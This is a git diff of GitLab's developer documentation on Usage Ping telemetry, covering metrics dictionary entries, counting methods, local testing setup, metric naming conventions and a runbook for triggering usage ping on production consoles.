Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage.plan.label_lists`
-Missing description
+Count of users creating label lists on Boards
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181135_label_lists.yml)
-Group: `group::plan`
+Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage.plan.milestone_lists`
-Missing description
+Count of users creating milestone lists on Boards
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181137_milestone_lists.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181137_milestone_lists.yml)
-Group: `group::plan`
+Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `usage_activity_by_stage.plan.notes`
-Missing description
+Count of users creating Notes on Issues
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181117_notes.yml)
-Group: `group::plan`
+Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage.plan.projects`
-Missing description
+Count of users creating projects
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181119_projects.yml)
-Group: `group::plan`
+Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage.plan.projects_jira_active`
@@ -15166,15 +15828,15 @@ Tiers: `free`
### `usage_activity_by_stage.plan.todos`
-Missing description
+Count of users todos created
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181121_todos.yml)
-Group: `group::plan`
+Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage.release.deployments`
@@ -15346,7 +16008,7 @@ Tiers: `free`
### `usage_activity_by_stage.secure.user_container_scanning_jobs`
-no idea, Count of Container Scanning jobs run, it implies user but AFAIK we don't track per user
+Distinct count per user of Container Scanning jobs run
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175501_user_container_scanning_jobs.yml)
@@ -15408,7 +16070,7 @@ Tiers: `ultimate`
Users who set personal preference to see Details on Group overview page
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182207_user_preferences_group_overview_security_dashboard.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216182207_user_preferences_group_overview_security_dashboard.yml)
Group: `group::threat insights`
@@ -16018,7 +16680,7 @@ Tiers: `free`
### `usage_activity_by_stage_monthly.create.merge_requests_with_added_rules`
-Merge Requests with added rules
+Merge requests with added rules
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216175103_merge_requests_with_added_rules.yml)
@@ -16942,15 +17604,15 @@ Tiers: `free`
### `usage_activity_by_stage_monthly.plan.assignee_lists`
-Missing description
+Count of MAU creating assignee lists on Boards
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181156_assignee_lists.yml)
-Group: `group::plan`
+Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `premium`, `ultimate`
### `usage_activity_by_stage_monthly.plan.epics`
@@ -16966,63 +17628,63 @@ Tiers: `free`
### `usage_activity_by_stage_monthly.plan.issues`
-Missing description
+Count of MAU creating issues
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181139_issues.yml)
-Group: `group::plan`
+Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.plan.label_lists`
-Missing description
+Count of MAU creating label lists on Boards
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181200_label_lists.yml)
-Group: `group::plan`
+Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.plan.milestone_lists`
-Missing description
+Count of MAU created milestone lists on Boards
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181201_milestone_lists.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181201_milestone_lists.yml)
-Group: `group::plan`
+Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `usage_activity_by_stage_monthly.plan.notes`
-Missing description
+Count of MAU commenting on an issuable
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181141_notes.yml)
-Group: `group::plan`
+Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.plan.projects`
-Missing description
+Count of MAU creating projects
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181143_projects.yml)
-Group: `group::plan`
+Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.plan.projects_jira_active`
@@ -17086,15 +17748,15 @@ Tiers: `free`
### `usage_activity_by_stage_monthly.plan.todos`
-Missing description
+Count of MAU creating todos
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181145_todos.yml)
-Group: `group::plan`
+Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.release.deployments`
@@ -17182,7 +17844,7 @@ Tiers: `free`
### `usage_activity_by_stage_monthly.secure.container_scanning_pipeline`
-no idea, what is this when did it get added? guess pipelines containing a CS job
+Pipelines containing a Container Scanning job
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216175507_container_scanning_pipeline.yml)
@@ -17350,7 +18012,7 @@ Tiers: `free`
### `usage_activity_by_stage_monthly.secure.user_container_scanning_jobs`
-no idea, Count of Container Scanning jobs run, it implies user and monthly, but AFAIK we don't track per user
+Distinct count per user of Container Scanning jobs run monthly
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216175505_user_container_scanning_jobs.yml)
@@ -17412,7 +18074,7 @@ Tiers: `ultimate`
Users who set personal preference to see Security Dashboard on Group overview page
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216182209_user_preferences_group_overview_security_dashboard.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216182209_user_preferences_group_overview_security_dashboard.yml)
Group: `group::threat insights`
diff --git a/doc/development/usage_ping/index.md b/doc/development/usage_ping/index.md
index 604d59f42e1..bf423d68700 100644
--- a/doc/development/usage_ping/index.md
+++ b/doc/development/usage_ping/index.md
@@ -13,7 +13,7 @@ This guide describes Usage Ping's purpose and how it's implemented.
For more information about Product Intelligence, see:
- [Product Intelligence Guide](https://about.gitlab.com/handbook/product/product-intelligence-guide/)
-- [Snowplow Guide](../snowplow.md)
+- [Snowplow Guide](../snowplow/index.md)
More links:
@@ -25,7 +25,7 @@ More links:
## What is Usage Ping?
- GitLab sends a weekly payload containing usage data to GitLab Inc. Usage Ping provides high-level data to help our product, support, and sales teams. It does not send any project names, usernames, or any other specific data. The information from the usage ping is not anonymous, it is linked to the hostname of the instance. Sending usage ping is optional, and any instance can disable analytics.
-- The usage data is primarily composed of row counts for different tables in the instance’s database. By comparing these counts month over month (or week over week), we can get a rough sense for how an instance is using the different features in the product. In addition to counts, other facts
+- The usage data is primarily composed of row counts for different tables in the instance's database. By comparing these counts month over month (or week over week), we can get a rough sense for how an instance is using the different features in the product. In addition to counts, other facts
that help us classify and understand GitLab installations are collected.
- Usage ping is important to GitLab as we use it to calculate our Stage Monthly Active Users (SMAU) which helps us measure the success of our stages and features.
- While usage ping is enabled, GitLab gathers data from the other instances and can show usage statistics of your instance to your users.
@@ -33,8 +33,8 @@ More links:
### Why should we enable Usage Ping?
- The main purpose of Usage Ping is to build a better GitLab. Data about how GitLab is used is collected to better understand feature/stage adoption and usage, which helps us understand how GitLab is adding value and helps our team better understand the reasons why people use GitLab and with this knowledge we're able to make better product decisions.
-- As a benefit of having the usage ping active, GitLab lets you analyze the users’ activities over time of your GitLab installation.
-- As a benefit of having the usage ping active, GitLab provides you with The DevOps Report,which gives you an overview of your entire instance’s adoption of Concurrent DevOps from planning to monitoring.
+- As a benefit of having the usage ping active, GitLab lets you analyze the users' activities over time of your GitLab installation.
+- As a benefit of having the usage ping active, GitLab provides you with The DevOps Report,which gives you an overview of your entire instance's adoption of Concurrent DevOps from planning to monitoring.
- You get better, more proactive support. (assuming that our TAMs and support organization used the data to deliver more value)
- You get insight and advice into how to get the most value out of your investment in GitLab. Wouldn't you want to know that a number of features or values are not being adopted in your organization?
- You get a report that illustrates how you compare against other similar organizations (anonymized), with specific advice and recommendations on how to improve your DevOps processes.
@@ -49,7 +49,9 @@ More links:
You can view the exact JSON payload sent to GitLab Inc. in the administration panel. To view the payload:
-1. Navigate to **Admin Area > Settings > Metrics and profiling**.
+1. Sign in as a user with [Administrator](../../user/permissions.md) permissions.
+1. In the top navigation bar, click **(admin)** **Admin Area**.
+1. In the left sidebar, go to **Settings > Metrics and profiling**.
1. Expand the **Usage statistics** section.
1. Click the **Preview payload** button.
@@ -57,9 +59,17 @@ For an example payload, see [Example Usage Ping payload](#example-usage-ping-pay
## Disable Usage Ping
-To disable Usage Ping in the GitLab UI, go to the **Settings** page of your administration panel and uncheck the **Usage Ping** checkbox.
+To disable Usage Ping in the GitLab UI:
-To disable Usage Ping and prevent it from being configured in the future through the administration panel, Omnibus installs can set the following in [`gitlab.rb`](https://docs.gitlab.com/omnibus/settings/configuration.html#configuration-options):
+1. Sign in as a user with [Administrator](../../user/permissions.md) permissions.
+1. In the top navigation bar, click **(admin)** **Admin Area**.
+1. In the left sidebar, go to **Settings > Metrics and profiling**.
+1. Expand the **Usage statistics** section.
+1. Clear the **Usage Ping** checkbox and click **Save changes**.
+
+To disable Usage Ping and prevent it from being configured in the future through
+the administration panel, Omnibus installs can set the following in
+[`gitlab.rb`](https://docs.gitlab.com/omnibus/settings/configuration.html#configuration-options):
```ruby
gitlab_rails['usage_ping_enabled'] = false
@@ -204,11 +214,12 @@ For GitLab.com, there are extremely large tables with 15 second query timeouts,
| `merge_request_diff_files` | 1082 |
| `events` | 514 |
-We have several batch counting methods available:
+The following operation methods are available for your use:
- [Ordinary Batch Counters](#ordinary-batch-counters)
- [Distinct Batch Counters](#distinct-batch-counters)
-- [Sum Batch Counters](#sum-batch-counters)
+- [Sum Batch Operation](#sum-batch-operation)
+- [Add Operation](#add-operation)
- [Estimated Batch Counters](#estimated-batch-counters)
Batch counting requires indexes on columns to calculate max, min, and range queries. In some cases,
@@ -266,7 +277,7 @@ distinct_count(::Note.with_suggestions.where(time_period), :author_id, start: ::
distinct_count(::Clusters::Applications::CertManager.where(time_period).available.joins(:cluster), 'clusters.user_id')
```
-### Sum Batch Counters
+### Sum Batch Operation
Handles `ActiveRecord::StatementInvalid` error
@@ -307,6 +318,25 @@ sum(Issue.group(:state_id), :weight))
# returns => {1=>3542, 2=>6820}
```
+### Add Operation
+
+Handles `StandardError`.
+
+Returns `-1` if any of the arguments are `-1`.
+
+Sum the values given as parameters.
+
+Method: `add(*args)`
+
+Examples
+
+```ruby
+project_imports = distinct_count(::Project.where.not(import_type: nil), :creator_id)
+bulk_imports = distinct_count(::BulkImport, :user_id)
+
+ add(project_imports, bulk_imports)
+```
+
### Estimated Batch Counters
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48233) in GitLab 13.7.
@@ -467,6 +497,7 @@ Implemented using Redis methods [PFADD](https://redis.io/commands/pfadd) and [PF
redis_slot: compliance
expiry: 42 # 6 weeks
aggregation: weekly
+ feature_flag: usage_data_i_compliance_credential_inventory
```
Keys:
@@ -498,17 +529,18 @@ Implemented using Redis methods [PFADD](https://redis.io/commands/pfadd) and [PF
aggregation.
- `aggregation`: may be set to a `:daily` or `:weekly` key. Defines how counting data is stored in Redis.
Aggregation on a `daily` basis does not pull more fine grained data.
- - `feature_flag`: optional `default_enabled: :yaml`. If no feature flag is set then the tracking is enabled. For details, see our [GitLab internal Feature flags](../feature_flags/index.md) documentation. The feature flags are owned by the group adding the event tracking.
+ - `feature_flag`: optional `default_enabled: :yaml`. If no feature flag is set then the tracking is enabled. One feature flag can be used for multiple events. For details, see our [GitLab internal Feature flags](../feature_flags/index.md) documentation. The feature flags are owned by the group adding the event tracking.
Use one of the following methods to track events:
-1. Track event in controller using `RedisTracking` module with `track_redis_hll_event(*controller_actions, name:, if: nil)`.
+1. Track event in controller using `RedisTracking` module with `track_redis_hll_event(*controller_actions, name:, if: nil, &block)`.
Arguments:
- `controller_actions`: controller actions we want to track.
- `name`: event name.
- `if`: optional custom conditions, using the same format as with Rails callbacks.
+ - `&block`: optional block that computes and returns the `custom_id` that we want to track. This will override the `visitor_id`.
Example usage:
@@ -536,8 +568,6 @@ Use one of the following methods to track events:
1. Track event in API using `increment_unique_values(event_name, values)` helper method.
- To be able to track the event, Usage Ping must be enabled and the event feature `usage_data_<event_name>` must be enabled.
-
Arguments:
- `event_name`: event name.
@@ -581,10 +611,6 @@ Use one of the following methods to track events:
API requests are protected by checking for a valid CSRF token.
- To increment the values, the related feature `usage_data_<event_name>` should be
- set to `default_enabled: true`. For more information, see
- [Feature flags in development of GitLab](../feature_flags/index.md).
-
```plaintext
POST /usage_data/increment_unique_users
```
@@ -609,8 +635,6 @@ Use one of the following methods to track events:
Usage Data API is behind `usage_data_api` feature flag which, as of GitLab 13.7, is
now set to `default_enabled: true`.
- Each event tracked using Usage Data API is behind a feature flag `usage_data_#{event_name}` which should be `default_enabled: true`
-
```javascript
import api from '~/api';
@@ -784,6 +808,16 @@ end
Please refer to [the `PrometheusClient` definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/prometheus_client.rb)
for how to use its API to query for data.
+### Fallback values for UsagePing
+
+We return fallback values in these cases:
+
+| Case | Value |
+|-----------------------------|-------|
+| Deprecated Metric | -1000 |
+| Timeouts, general failures | -1 |
+| Standard errors in counters | -2 |
+
## Developing and testing Usage Ping
### 1. Naming and placing the metrics
@@ -827,7 +861,7 @@ pry(main)> Gitlab::UsageData.count(User.active)
Paste the SQL query into `#database-lab` to see how the query performs at scale.
- `#database-lab` is a Slack channel which uses a production-sized environment to test your queries.
-- GitLab.com’s production database has a 15 second timeout.
+- GitLab.com's production database has a 15 second timeout.
- Any single query must stay below [1 second execution time](../query_performance.md#timing-guidelines-for-queries) with cold caches.
- Add a specialized index on columns involved to reduce the execution time.
@@ -875,18 +909,56 @@ On GitLab.com, we have DangerBot setup to monitor Product Intelligence related f
On GitLab.com, the Product Intelligence team regularly monitors Usage Ping. They may alert you that your metrics need further optimization to run quicker and with greater success. You may also use the [Usage Ping QA dashboard](https://app.periscopedata.com/app/gitlab/632033/Usage-Ping-QA) to check how well your metric performs. The dashboard allows filtering by GitLab version, by "Self-managed" & "SaaS" and shows you how many failures have occurred for each metric. Whenever you notice a high failure rate, you may re-optimize your metric.
-### Optional: Test Prometheus based Usage Ping
+### Usage Ping local setup
+
+To set up Usage Ping locally, you must:
+
+1. [Set up local repositories]#(set-up-local-repositories)
+1. [Test local setup](#test-local-setup)
+1. (Optional) [Test Prometheus-based usage ping](#test-prometheus-based-usage-ping)
-If the data submitted includes metrics [queried from Prometheus](#prometheus-queries) that you would like to inspect and verify,
-then you need to ensure that a Prometheus server is running locally, and that furthermore the respective GitLab components
-are exporting metrics to it. If you do not need to test data coming from Prometheus, no further action
+#### Set up local repositories
+
+1. Clone and start [GitLab](https://gitlab.com/gitlab-org/gitlab-development-kit).
+1. Clone and start [Versions Application](https://gitlab.com/gitlab-services/version-gitlab-com).
+ Make sure to run `docker-compose up` to start a PostgreSQL and Redis instance.
+1. Point GitLab to the Versions Application endpoint instead of the default endpoint:
+ 1. Open [submit_usage_ping_service.rb](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/submit_usage_ping_service.rb#L4) in your local and modified `PRODUCTION_URL`.
+ 1. Set it to the local Versions Application URL `http://localhost:3000/usage_data`.
+
+#### Test local setup
+
+1. Using the `gitlab` Rails console, manually trigger a usage ping:
+
+ ```ruby
+ SubmitUsagePingService.new.execute
+ ```
+
+1. Use the `versions` Rails console to check the usage ping was successfully received,
+ parsed, and stored in the Versions database:
+
+ ```ruby
+ UsageData.last
+ ```
+
+### Test Prometheus-based usage ping
+
+If the data submitted includes metrics [queried from Prometheus](#prometheus-queries)
+you want to inspect and verify, you must:
+
+- Ensure that a Prometheus server is running locally.
+- Ensure the respective GitLab components are exporting metrics to the Prometheus server.
+
+If you do not need to test data coming from Prometheus, no further action
is necessary. Usage Ping should degrade gracefully in the absence of a running Prometheus server.
-There are three kinds of components that may export data to Prometheus, and which are included in Usage Ping:
+Three kinds of components may export data to Prometheus, and are included in Usage Ping:
-- [`node_exporter`](https://github.com/prometheus/node_exporter) - Exports node metrics from the host machine
-- [`gitlab-exporter`](https://gitlab.com/gitlab-org/gitlab-exporter) - Exports process metrics from various GitLab components
-- various GitLab services such as Sidekiq and the Rails server that export their own metrics
+- [`node_exporter`](https://github.com/prometheus/node_exporter): Exports node metrics
+ from the host machine.
+- [`gitlab-exporter`](https://gitlab.com/gitlab-org/gitlab-exporter): Exports process metrics
+ from various GitLab components.
+- Other various GitLab services, such as Sidekiq and the Rails server, which export their own metrics.
#### Test with an Omnibus container
@@ -928,8 +1000,8 @@ appear to be associated to any of the services running, because they all appear
WARNING:
This feature is intended solely for internal GitLab use.
-To add data for aggregated metrics into Usage Ping payload you should add corresponding definition at [`lib/gitlab/usage_data_counters/aggregated_metrics/*.yaml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/aggregated_metrics/) for metrics available at Community Edition and at [`ee/lib/gitlab/usage_data_counters/aggregated_metrics/*.yaml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/gitlab/usage_data_counters/aggregated_metrics/) for Enterprise Edition ones.
-
+To add data for aggregated metrics into Usage Ping payload you should add corresponding definition at [`config/metrics/aggregates/*.yaml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/aggregates/) for metrics available at Community Edition and at [`ee/config/metrics/aggregates/*.yaml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/aggregates/) for Enterprise Edition ones.
+
Each aggregate definition includes following parts:
- `name`: Unique name under which the aggregate metric is added to the Usage Ping payload.
@@ -957,7 +1029,10 @@ Example aggregated metric entries:
```yaml
- name: example_metrics_union
operator: OR
- events: ['i_search_total', 'i_search_advanced', 'i_search_paid']
+ events:
+ - 'i_search_total'
+ - 'i_search_advanced'
+ - 'i_search_paid'
source: redis
time_frame:
- 7d
@@ -968,7 +1043,9 @@ Example aggregated metric entries:
time_frame:
- 28d
- all
- events: ['dependency_scanning_pipeline_all_time', 'container_scanning_pipeline_all_time']
+ events:
+ - 'dependency_scanning_pipeline_all_time'
+ - 'container_scanning_pipeline_all_time'
feature_flag: example_aggregated_metric
```
@@ -993,7 +1070,7 @@ Aggregated metrics collected in `7d` and `28d` time frames are added into Usage
}
```
-Aggregated metrics for `all` time frame are present in the `count` top level key, with the `aggregate_` prefix added to their name.
+Aggregated metrics for `all` time frame are present in the `count` top level key, with the `aggregate_` prefix added to their name.
For example:
@@ -1001,7 +1078,7 @@ For example:
Becomes:
-`counts.aggregate_example_metrics_intersection`
+`counts.aggregate_example_metrics_intersection`
```ruby
{
@@ -1085,7 +1162,7 @@ end
#### Add new aggregated metric definition
After all metrics are persisted, you can add an aggregated metric definition at
-[`aggregated_metrics/`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/aggregated_metrics/).
+[`aggregated_metrics/`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/aggregates/).
To declare the aggregate of metrics collected with [Estimated Batch Counters](#estimated-batch-counters),
you must fulfill the following requirements:
@@ -1099,7 +1176,9 @@ Example definition:
- name: example_metrics_intersection_database_sourced
operator: AND
source: database
- events: ['dependency_scanning_pipeline', 'container_scanning_pipeline']
+ events:
+ - 'dependency_scanning_pipeline'
+ - 'container_scanning_pipeline'
time_frame:
- 28d
- all
@@ -1334,4 +1413,24 @@ bin/rake gitlab:usage_data:dump_sql_in_yaml > ~/Desktop/usage-metrics-2020-09-02
## Generating and troubleshooting usage ping
-To get a usage ping, or to troubleshoot caching issues on your GitLab instance, please follow [instructions to generate usage ping](../../administration/troubleshooting/gitlab_rails_cheat_sheet.md#generate-usage-ping).
+This activity is to be done via a detached screen session on a remote server.
+
+Before you begin these steps, make sure the key is added to the SSH agent locally
+with the `ssh-add` command.
+
+### Triggering
+
+1. Connect to bastion with agent forwarding: `$ ssh -A lb-bastion.gprd.gitlab.com`
+1. Create named screen: `$ screen -S <username>_usage_ping_<date>`
+1. Connect to console host: `$ ssh $USER-rails@console-01-sv-gprd.c.gitlab-production.internal`
+1. Run `SubmitUsagePingService.new.execute`
+1. Detach from screen: `ctrl + a, ctrl + d`
+1. Exit from bastion: `$ exit`
+
+### Verification (After approx 30 hours)
+
+1. Reconnect to bastion: `$ ssh -A lb-bastion.gprd.gitlab.com`
+1. Find your screen session: `$ screen -ls`
+1. Attach to your screen session: `$ screen -x 14226.mwawrzyniak_usage_ping_2021_01_22`
+1. Check the last payload in `raw_usage_data` table: `RawUsageData.last.payload`
+1. Check the when the payload was sent: `RawUsageData.last.sent_at`
diff --git a/doc/development/usage_ping/metrics_dictionary.md b/doc/development/usage_ping/metrics_dictionary.md
index 3c08fb0cc87..b55d4714580 100644
--- a/doc/development/usage_ping/metrics_dictionary.md
+++ b/doc/development/usage_ping/metrics_dictionary.md
@@ -27,13 +27,14 @@ Each metric is defined in a separate YAML file consisting of a number of fields:
| Field | Required | Additional information |
|---------------------|----------|----------------------------------------------------------------|
| `key_path` | yes | JSON key path for the metric, location in Usage Ping payload. |
+| `name` | no | Metric name suggestion. Can replace the last part of `key_path`. |
| `description` | yes | |
| `product_section` | yes | The [section](https://gitlab.com/gitlab-com/www-gitlab-com/-/blob/master/data/sections.yml). |
| `product_stage` | no | The [stage](https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/data/stages.yml) for the metric. |
| `product_group` | yes | The [group](https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/data/stages.yml) that owns the metric. |
| `product_category` | no | The [product category](https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/data/categories.yml) for the metric. |
-| `value_type` | yes | `string`; one of `string`, `number`, `boolean`, `object`. |
-| `status` | yes | `string`; status of the metric, may be set to `data_available`, `planned`, `in_progress`, `implemented`, `not_used`, `deprecated` |
+| `value_type` | yes | `string`; one of [`string`, `number`, `boolean`, `object`](https://json-schema.org/understanding-json-schema/reference/type.html). |
+| `status` | yes | `string`; [status](#metric-statuses) of the metric, may be set to `data_available`, `implemented`, `not_used`, `deprecated`, `removed`. |
| `time_frame` | yes | `string`; may be set to a value like `7d`, `28d`, `all`, `none`. |
| `data_source` | yes | `string`; may be set to a value like `database`, `redis`, `redis_hll`, `prometheus`, `ruby`. |
| `distribution` | yes | `array`; may be set to one of `ce, ee` or `ee`. The [distribution](https://about.gitlab.com/handbook/marketing/strategic-marketing/tiers/#definitions) where the tracked feature is available. |
@@ -43,6 +44,91 @@ Each metric is defined in a separate YAML file consisting of a number of fields:
| `introduced_by_url` | no | The URL to the Merge Request that introduced the metric. |
| `skip_validation` | no | This should **not** be set. [Used for imported metrics until we review, update and make them valid](https://gitlab.com/groups/gitlab-org/-/epics/5425). |
+### Metric statuses
+
+Metric definitions can have one of the following statuses:
+
+- `data_available`: Metric data is available and used in a Sisense dashboard.
+- `implemented`: Metric is implemented but data is not yet available. This is a temporary
+ status for newly added metrics awaiting inclusion in a new release.
+- `not_used`: Metric is not used in any dashboard.
+- `deprecated`: Metric is deprecated and possibly planned to be removed.
+- `removed`: Metric was removed, but it may appear in Usage Ping payloads sent from instances running on older versions of GitLab.
+
+### Metric name
+
+To improve metric discoverability by a wider audience, each metric with
+instrumentation added at an appointed `key_path` receives a `name` attribute
+filled with the name suggestion, corresponding to the metric `data_source` and instrumentation.
+Metric name suggestions can contain two types of elements:
+
+1. **User input prompts**: Enclosed by `<>`, these pieces should be replaced or
+ removed when you create a metrics YAML file.
+1. **Fixed suggestion**: Plaintext parts generated according to well-defined algorithms.
+ They are based on underlying instrumentation, and should not be changed.
+
+For a metric name to be valid, it must not include any prompt, and no fixed suggestions
+should be changed.
+
+### Metric name suggestion examples
+
+#### Metric with `data_source: database`
+
+For a metric instrumented with SQL:
+
+```sql
+SELECT COUNT(DISTINCT user_id) FROM clusters WHERE clusters.management_project_id IS NOT NULL
+```
+
+- **Suggested name**: `count_distinct_user_id_from_<adjective describing: '(clusters.management_project_id IS NOT NULL)'>_clusters`
+- **Prompt**: `<adjective describing: '(clusters.management_project_id IS NOT NULL)'>`
+ should be replaced with an adjective that best represents filter conditions, such as `project_management`
+- **Final metric name**: For example, `count_distinct_user_id_from_project_management_clusters`
+
+For metric instrumented with SQL:
+
+```sql
+SELECT COUNT(DISTINCT clusters.user_id)
+FROM clusters_applications_helm
+INNER JOIN clusters ON clusters.id = clusters_applications_helm.cluster_id
+WHERE clusters_applications_helm.status IN (3, 5)
+```
+
+- **Suggested name**: `count_distinct_user_id_from_<adjective describing: '(clusters_applications_helm.status IN (3, 5))'>_clusters_<with>_<adjective describing: '(clusters_applications_helm.status IN (3, 5))'>_clusters_applications_helm`
+- **Prompt**: `<adjective describing: '(clusters_applications_helm.status IN (3, 5))'>`
+ should be replaced with an adjective that best represents filter conditions
+- **Final metric name**: `count_distinct_user_id_from_clusters_with_available_clusters_applications_helm`
+
+In the previous example, the prompt is irrelevant, and user can remove it. The second
+occurrence corresponds with the `available` scope defined in `Clusters::Concerns::ApplicationStatus`.
+It can be used as the right adjective to replace prompt.
+
+The `<with>` represents a suggested conjunction for the suggested name of the joined relation.
+The person documenting the metric can use it by either:
+
+- Removing the surrounding `<>`.
+- Using a different conjunction, such as `having` or `including`.
+
+#### Metric with `data_source: redis` or `redis_hll`
+
+For metrics instrumented with a Redis-based counter, the suggested name includes
+only the single prompt to be replaced by the person working with metrics YAML.
+
+- **Prompt**: `<please fill metric name, suggested format is: {subject}_{verb}{ing|ed}_{object} eg: users_creating_epics or merge_requests_viewed_in_single_file_mode>`
+- **Final metric name**: We suggest the metric name should follow the format of
+ `{subject}_{verb}{ing|ed}_{object}`, such as `user_creating_epics`, `users_triggering_security_scans`,
+ or `merge_requests_viewed_in_single_file_mode`
+
+#### Metric with `data_source: prometheus` or `ruby`
+
+For metrics instrumented with Prometheus or Ruby, the suggested name includes only
+the single prompt by person working with metrics YAML.
+
+- **Prompt**: `<please fill metric name>`
+- **Final metric name**: Due to the variety of cases that can apply to this kind of metric,
+ no naming convention exists. Each person instrumenting a metric should use their
+ best judgment to come up with a descriptive name.
+
### Example YAML metric definition
The linked [`uuid`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/license/uuid.yml)
@@ -99,4 +185,12 @@ create ee/config/metrics/counts_7d/issues.yml
The [Redis HLL metrics](index.md#known-events-are-added-automatically-in-usage-data-payload) are added automatically to Usage Ping payload.
-A YAML metric definition is required for each metric.
+A YAML metric definition is required for each metric. A dedicated generator is provided to create metric definitions for Redis HLL events.
+
+The generator takes `category` and `event` arguments, as the root key will be `redis_hll_counters`, and creates two metric definitions for weekly and monthly timeframes:
+
+```shell
+bundle exec rails generate gitlab:usage_metric_definition:redis_hll issues i_closed
+create config/metrics/counts_7d/i_closed_weekly.yml
+create config/metrics/counts_28d/i_closed_monthly.yml
+```
diff --git a/doc/development/usage_ping/product_intelligence_review.md b/doc/development/usage_ping/product_intelligence_review.md
index c667bc8354c..3a8f9143b70 100644
--- a/doc/development/usage_ping/product_intelligence_review.md
+++ b/doc/development/usage_ping/product_intelligence_review.md
@@ -14,7 +14,7 @@ general best practices for code reviews, refer to our [code review guide](../cod
## Resources for Product Intelligence reviewers
- [Usage Ping Guide](index.md)
-- [Snowplow Guide](../snowplow.md)
+- [Snowplow Guide](../snowplow/index.md)
- [Metrics Dictionary](metrics_dictionary.md)
## Review process
@@ -34,7 +34,7 @@ Product Intelligence files.
### Roles and process
-The merge request **author** should:
+#### The merge request **author** should
- Decide whether a Product Intelligence review is needed.
- If a Product Intelligence review is needed, add the labels
@@ -48,7 +48,15 @@ The merge request **author** should:
[Metrics Dictionary](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/development/usage_ping/dictionary.md) if it is needed.
- Add a changelog [according to guidelines](../changelog.md).
-The Product Intelligence **reviewer** should:
+##### When adding or modifiying Snowplow events
+
+- For frontend events, when relevant, add a screenshot of the event in
+ the [testing tool](../snowplow/index.md#developing-and-testing-snowplow) used.
+- For backend events, when relevant, add the output of the Snowplow Micro
+ good events `GET http://localhost:9090/micro/good` (it might be a good idea
+ to reset with `GET http://localhost:9090/micro/reset` first).
+
+#### The Product Intelligence **reviewer** should
- Perform a first-pass review on the merge request and suggest improvements to the author.
